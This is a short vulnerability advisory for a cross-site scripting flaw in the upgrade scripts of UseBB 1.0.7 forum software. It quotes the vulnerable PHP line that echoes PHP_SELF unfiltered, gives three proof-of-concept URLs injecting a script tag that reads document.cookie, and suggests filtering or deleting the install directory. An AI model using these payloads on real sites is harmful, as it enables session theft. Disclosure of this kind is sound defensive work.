#############################################################
#  Script...............: UseBB version: 1.0.7      #
#  Script Site..........: http://www.usebb.net      #
#  Vulnerability........: Cross Site Scripting (XSS)   #
#  Acces................: Remote          #
#  level................: Dangerous        #
#  Author...............: S4mi          #
#  Contact..............: s4mi[at]LinuxMail.org      #
#############################################################

The affected Files :
====================
/UseBB/install/upgrade-0-2-3.php
/UseBB/install/upgrade-0-3.php
/UseBB/install/upgrade-0-4.php

vuln Code: line ~ 86
=====================
[code]
return '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><p><input type="hidden" 
name="step" value="'.$step.'" /><input type="submit" value="' . ( ( $_POST['step'] == $step ) ? 'Retry step 
'.$step : 'Continue to step '.$step ) . '" /></p></form>';
[/code]

The variables PHP_SELF is used without filtering

PoC :
====================
http://127.0.0.1/UseBB/install/upgrade-0-2-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt>
http://127.0.0.1/UseBB/install/upgrade-0-3.php/"><ScRiPt>alert(document.cookie);</ScRiPt>
http://127.0.0.1/UseBB/install/upgrade-0-4.php/"><ScRiPt>alert(document.cookie);</ScRiPt>

Solution :
====================

filtre the PHP_SELF
or you know what's the best lool : Delete the Install directory :D

Shoutz :
====================
Simo64, DrackaNz, Iss4m, Coder212, HarDose, r0_0t, ddx39, E.chark, Nuck3r ....... & all Others